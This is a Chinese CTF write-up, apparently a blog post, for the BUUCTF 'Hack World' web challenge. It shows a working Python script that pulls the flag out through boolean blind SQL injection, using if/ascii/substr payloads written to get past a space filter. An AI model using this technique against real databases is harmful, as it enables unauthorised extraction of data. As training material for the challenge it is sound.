【CTF-web】buuctf-[CISCN2019 华北赛区 Day2 Web1]Hack World(sql盲注)

题目链接


在这里插入图片描述
根据上图可知,页面中已经告诉我们要从flag表中的flag列取出flag,思考是sql注入。经过抓包发现发post包中的id字段是注入点。
经测试当输入id=1时,结果为Hello, glzjin wants a girlfriend.,当id=2时,结果为Do you want to be my girlfriend?
通过SQL注入过滤关键字的Fuzz字典,发现过滤了空格、#等符号。
同时还发现是盲注,即当存在SQL注入时,攻击者无法通过页面或请求的返回信息,回显或获取到SQL注入语句的执行结果。
根据盲注的方法,尝试输入id=if(1=1,1,2)得到返回了Hello, glzjin wants a girlfriend.,如下图所示。
在这里插入图片描述
由此可以通过if函数来测试flag每一位的值,以下为编写的测试脚本。

import requests
import time

flag = ''
for i in range(1, 50):
    for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}':
        url = "http://eac65d5e-7894-4e1e-835e-3bd9eb2bd74e.node4.buuoj.cn:81/index.php"
        sqls = "if(ascii(substr((select(flag)from(flag)),{},1))={},1,2)".format(i, ord(j))
        data = {"id": sqls}
        c = requests.post(url=url, data=data, timeout=None)
        if 'Hello' in c.text:
            flag += j
            print(flag)
            break
        time.sleep(0.05)

输出结果如下所示:
在这里插入图片描述

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值